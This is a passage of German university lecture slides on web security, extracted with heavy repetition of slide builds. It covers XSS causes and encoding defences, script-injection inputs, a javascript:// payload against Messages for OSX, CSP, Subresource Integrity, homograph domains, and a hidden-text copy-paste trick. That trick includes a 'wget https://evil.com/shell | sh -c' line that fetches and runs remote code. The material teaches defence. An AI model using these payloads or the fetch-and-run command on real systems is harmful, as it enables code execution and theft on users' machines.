(HTTP-)Ausgabe-Datenstrom übernommen werden. . . . . . ohne zu überprüfen, ob sie (HTML-)Steuerbefehle enthalten! Netzwerksicherheit — Websicherheit 51 XSS – Ursachen und Gegenmaßnahmen Die „Wurzel“ von XSS-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen (HTTP-)Ausgabe-Datenstrom übernommen werden. . . . . . ohne zu überprüfen, ob sie (HTML-)Steuerbefehle enthalten! Was kann man dagegen tun? Netzwerksicherheit — Websicherheit 51 XSS – Ursachen und Gegenmaßnahmen Die „Wurzel“ von XSS-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen (HTTP-)Ausgabe-Datenstrom übernommen werden. . . . . . ohne zu überprüfen, ob sie (HTML-)Steuerbefehle enthalten! Was kann man dagegen tun? Vertraue keinen von außen gelesenen Daten! Bei Benutzereingaben immer überprüfen, ob sie nur gültige Zeichen enthalten In HTML-Code eingefügte Zeichenketten immer richtig kodieren Viele Bibliotheken und Frameworks unterstützen das ... Netzwerksicherheit — Websicherheit 51 XSS – Korrekte Enkodierung C#: System.Web.HttpUtility.HtmlEncode Java: org.apache.commons.lang3.StringEscapeUtils.escapeHtml4 oder org.springframework.web.util.HtmlUtils.htmlEscape JavaScript: _.escape (Underscore) Perl: HTML::Entities::encode_entities oder HTML::Escape php: htmlspecialchars Python: cgi.escape Ruby: CGI.escapeHTML Vorsicht: Verschiedene Zeichensätze verlangen verschiedene Kodierungen Zeichensatz angeben statt den Browser raten lassen! Netzwerksicherheit — Websicherheit 52 XSS – Probleme bei Enkodierung Problem: Eine einzige vergessene Enkodierung genügt! Netzwerksicherheit — Websicherheit 53 XSS – Probleme bei Enkodierung Problem: Eine einzige vergessene Enkodierung genügt! Besser: XML-Bibliotheken oder Templating (z.B. mustache) <html> <body> Hallo <strong>{{name}}</strong>! Achtung: {{{HTML}}} </body> </html> Netzwerksicherheit — Websicherheit 53 XSS in nativen Anwendungen Messages for OSX ist als native Web-Anwendung mit eingebettetem WebKit implementiert. Die Same-Origin Policy (SOP) ist dabei ausgeschaltet. URLs (foo://bar) werden als Links gerendert: <a href="foo://bar">foo://bar</a> Wie kann ein Angreifer das ausnutzen? Netzwerksicherheit — Websicherheit 54 XSS in nativen Anwendungen Messages for OSX ist als native Web-Anwendung mit eingebettetem WebKit implementiert. Die Same-Origin Policy (SOP) ist dabei ausgeschaltet. URLs (foo://bar) werden als Links gerendert: <a href="foo://bar">foo://bar</a> Wie kann ein Angreifer das ausnutzen? Angreifer sendet eine Nachricht javascript://Klick hier%0aalert%2842%29 Messages rendert ... <a href="javascript://Klick hier alert(42)">javascript://Klick hier%0aalert%2842%29</ Netzwerksicherheit — Websicherheit 54 XSS in nativen Anwendungen Messages for OSX ist als native Web-Anwendung mit eingebettetem WebKit implementiert. Die Same-Origin Policy (SOP) ist dabei ausgeschaltet. URLs (foo://bar) werden als Links gerendert: <a href="foo://bar">foo://bar</a> Wie kann ein Angreifer das ausnutzen? Angreifer sendet eine Nachricht javascript://Klick hier%0aalert%2842%29 Messages rendert ... <a href="javascript://Klick hier alert(42)">javascript://Klick hier%0aalert%2842%29</ Bei Klick: XSS Durch deaktivierte SOP sogar Dateien lesbar! Z.B.: file:///Users/jmith/Library/Messages/chat.db Netzwerksicherheit — Websicherheit 54 Übertragung zur Web-Anwendung Moderne Web-Apps arbeiten mit komplexen Daten (nicht nur HTML) Wie bekommen wir die zur Web-App? 1 2 Daten in die Webseite einbinden (schneller) XMLHttpRequest (mit XML oder JSON) Netzwerksicherheit — Websicherheit 55 Richtiges Einbetten von Daten <script> var name = "<?php echo $name; ?>"; </script> Ist das sicher? Netzwerksicherheit — Websicherheit 56 Richtiges Einbetten von Daten <script> var name = "<?php echo $name; ?>"; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: "; evil(); “’" Netzwerksicherheit — Websicherheit 56 Richtiges Einbetten von Daten <script> var name = "<?php echo $name; ?>"; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: "; evil(); “’" Wie dann? Netzwerksicherheit — Websicherheit 56 Richtiges Einbetten von Daten <script> var name = "<?php echo $name; ?>"; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: "; evil(); “’" Wie dann? JSON verwenden: <script> var name = <?php echo json_encode($name); ?>; </script> Netzwerksicherheit — Websicherheit 56 Richtiges Einbetten von Daten <script> var name = <?php echo json_encode($name); ?>; </script> Ist das sicher? Netzwerksicherheit — Websicherheit 57 Richtiges Einbetten von Daten <script> var name = <?php echo json_encode($name); ?>; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: </script><script>evil();</script> Netzwerksicherheit — Websicherheit 57 Richtiges Einbetten von Daten <script> var name = <?php echo json_encode($name); ?>; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: </script><script>evil();</script> Wie dann? Netzwerksicherheit — Websicherheit 57 Richtiges Einbetten von Daten <script> var name = <?php echo json_encode($name); ?>; </script> Ist das sicher? Nein: Klassische Code Injection Eingabe: </script><script>evil();</script> Wie dann? In HTML-Attribute einbetten: <script> var body = document.querySelector(’body’); var name = body.getAttribute(’data-name’); </script> <body data-name="<?php echo htmlspecialchars($name);?>"> Netzwerksicherheit — Websicherheit 57 Universal XSS und XSS-Filter Die Same-Origin Policy ist essentiell für Sicherheit im Web Eine Schwachstelle im Browser (Universal XSS) betrifft darum sehr viele Benutzer und alle Webseiten Plugins(z. B. Adobe Flash Player) müssen ebenfalls Same-Origin-Verletzungen verhindern Moderne Browser versuchen, mit XSS-Filtern verdächtigen (in der Anfrage vorhandenen) Code zu erkennen und durch harmlosen zu ersetzen Achtung: XSS-Filter können Universal XSSSchwachstellen verursachen! Schadcode-Erkennung (und -beseitigung) ist schwierig! [Nava, Lindsay: Abusing Internet Explorer 8’s XSS Filters] Netzwerksicherheit — Websicherheit 58 Content Security Policy (CSP) HTTP-Header, z.B. Content-Security-Policy: default-src ’self’ scripts.example.com Definiert erlaubte Quellen für Scripts (und Bilder und Media und Plugins und ...) Verbietet inline script <script>evil();</script> <img onload="evil();"> Netzwerksicherheit — Websicherheit 59 Content Security Policy (CSP) HTTP-Header, z.B. Content-Security-Policy: default-src ’self’ scripts.example.com Definiert erlaubte Quellen für Scripts (und Bilder und Media und Plugins und ...) Verbietet inline script <script>evil();</script> <img onload="evil();"> CSP-Fehler kann der Browser abschicken: report-uri https://csp.example.com/report Auf Wunsch auch nur Reports: Content-Security-Policy-Report-Only Netzwerksicherheit — Websicherheit 59 Content Security Policy (CSP) HTTP-Header, z.B. Content-Security-Policy: default-src ’self’ scripts.example.com Definiert erlaubte Quellen für Scripts (und Bilder und Media und Plugins und ...) Verbietet inline script <script>evil();</script> <img onload="evil();"> CSP-Fehler kann der Browser abschicken: report-uri https://csp.example.com/report Auf Wunsch auch nur Reports: Content-Security-Policy-Report-Only Weitere interessante Features: upgrade-insecure-requests: Alle http:-Links auf dieser Seite als https:// behandeln sandbox: JavaScript, modale Dialoge, Popups etc. deaktivieren Webseite muss für CSP entworfen werden! Netzwerksicherheit — Websicherheit 59 Subresource Integrity Manchmal ist es sinnvoll Resourcen von fremden Hosts einzubinden z.B. eine JavaScript-Bibliothek wie jQuery Hosting unter https://ajax.googleapis.com/ (Sehr wahrscheinlich) bessere Anbindung und Performance als unsere Webseite Sehr oft schon im Browser-Cache! Problem: Wie verhindern wir das Hoster uns JavaScript-Code unterjubelt? (egal ob beabsichtigt, weil gehackt, weil unzureichendes TLS, weil ...) Netzwerksicherheit — Websicherheit 60 Subresource Integrity Manchmal ist es sinnvoll Resourcen von fremden Hosts einzubinden z.B. eine JavaScript-Bibliothek wie jQuery Hosting unter https://ajax.googleapis.com/ (Sehr wahrscheinlich) bessere Anbindung und Performance als unsere Webseite Sehr oft schon im Browser-Cache! Problem: Wie verhindern wir das Hoster uns JavaScript-Code unterjubelt? (egal ob beabsichtigt, weil gehackt, weil unzureichendes TLS, weil ...) Idee: Gebe Hash (base64-encodiert) der Datei an Netzwerksicherheit — Websicherheit 60 Subresource Integrity Manchmal ist es sinnvoll Resourcen von fremden Hosts einzubinden z.B. eine JavaScript-Bibliothek wie jQuery Hosting unter https://ajax.googleapis.com/ (Sehr wahrscheinlich) bessere Anbindung und Performance als unsere Webseite Sehr oft schon im Browser-Cache! Problem: Wie verhindern wir das Hoster uns JavaScript-Code unterjubelt? (egal ob beabsichtigt, weil gehackt, weil unzureichendes TLS, weil ...) Idee: Gebe Hash (base64-encodiert) der Datei an Im Moment nur Firefox / Chrome, bald Safari <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.0.0/jquery.min.js" integrity="sha256-JmvOoLtYsmqlsWxa7mDSLMwa6dZ9rrIdtrrVYRnDRH0=" crossorigin="anonymous"></script> Netzwerksicherheit — Websicherheit 60 Benutzer täuschen: Homograph-Angriffe Oftmals basiert Sicherheit darauf, dass der Benutzer etwas überprüft (z.B. Domain-Name) Angriff: Verwende google.com Netzwerksicherheit — Websicherheit 61 Benutzer täuschen: Homograph-Angriffe Oftmals basiert Sicherheit darauf, dass der Benutzer etwas überprüft (z.B. Domain-Name) Angriff: Verwende google.com Als Bytes: 67 d0 be 6f 67 6c 65 2e 63 6f 6d Netzwerksicherheit — Websicherheit 61 Benutzer täuschen: Homograph-Angriffe Oftmals basiert Sicherheit darauf, dass der Benutzer etwas überprüft (z.B. Domain-Name) Angriff: Verwende google.com Als Bytes: 67 d0 be 6f 67 6c 65 2e 63 6f 6d Kyrillisches oder griechisches o sieht genauso aus wie lateinisches! Netzwerksicherheit — Websicherheit 61 Benutzer täuschen: Homograph-Angriffe Oftmals basiert Sicherheit darauf, dass der Benutzer etwas überprüft (z.B. Domain-Name) Angriff: Verwende google.com Als Bytes: 67 d0 be 6f 67 6c 65 2e 63 6f 6d Kyrillisches oder griechisches o sieht genauso aus wie lateinisches! Verteidigung? Nur ASCII wäre auch blöd Netzwerksicherheit — Websicherheit 61 Benutzer täuschen: Homograph-Angriffe Oftmals basiert Sicherheit darauf, dass der Benutzer etwas überprüft (z.B. Domain-Name) Angriff: Verwende google.com Als Bytes: 67 d0 be 6f 67 6c 65 2e 63 6f 6d Kyrillisches oder griechisches o sieht genauso aus wie lateinisches! Verteidigung? Nur ASCII wäre auch blöd Whitelists von Zeichen die nicht wie ASCII aussehen Ansonten Rendering als punycode: xn-gogle-jye.com Netzwerksicherheit — Websicherheit 61 Benutzer täuschen: Copy & Paste ls <span style="font-size: 0.01px"> ; wget https://evil.com/shell | sh -c ; echo </span>/foo/bar Was rendert der Webbrowser? Netzwerksicherheit — Websicherheit 62 Benutzer täuschen: Copy & Paste ls <span style="font-size: 0.01px"> ; wget https://evil.com/shell | sh -c ; echo </span>/foo/bar Was rendert der Webbrowser? ls /foo/bar Was kopiert der Benutzer? Netzwerksicherheit — Websicherheit 62 Benutzer täuschen: Copy & Paste ls <span style="font-size: 0.01px"> ; wget https://evil.com/shell | sh -c ; echo </span>/foo/bar Was rendert der Webbrowser? ls /foo/bar Was kopiert der Benutzer? ls ; wget https://evil.com/shell | sh -c ; echo /foo/bar Netzwerksicherheit — Websicherheit 62 Déjà-vu? Hatten Sie in diesem Kapitel das Gefühl, dass sich da ein bestimmtes Muster wiederholt? Wir haben so etwas tatsächlich sehr oft gesehen Und nicht nur in diesem Kapitel – denken Sie zurück an Buffer Overflows, printf-Angriffe,. . . Das hat System! Für die allermeisten Software-Sicherheitsprobleme ist tatsächlich die Ursache, dass irgendwelche Eingabedaten irgendwo nicht richtig kontrolliert/codiert/. . . werden! Netzwerksicherheit — Websicherheit 63 Déjà-vu? Hatten Sie in diesem Kapitel das Gefühl, dass sich da ein bestimmtes Muster wiederholt? Wir haben so etwas tatsächlich sehr oft gesehen Und nicht nur in diesem Kapitel – denken Sie zurück an Buffer Overflows, printf-Angriffe,. . . Das hat System! Für die allermeisten Software-Sicherheitsprobleme ist tatsächlich die Ursache, dass irgendwelche Eingabedaten irgendwo nicht richtig kontrolliert/codiert/. . . werden! Also immer daran denken: Input ist böse! Netzwerksicherheit — Websicherheit 63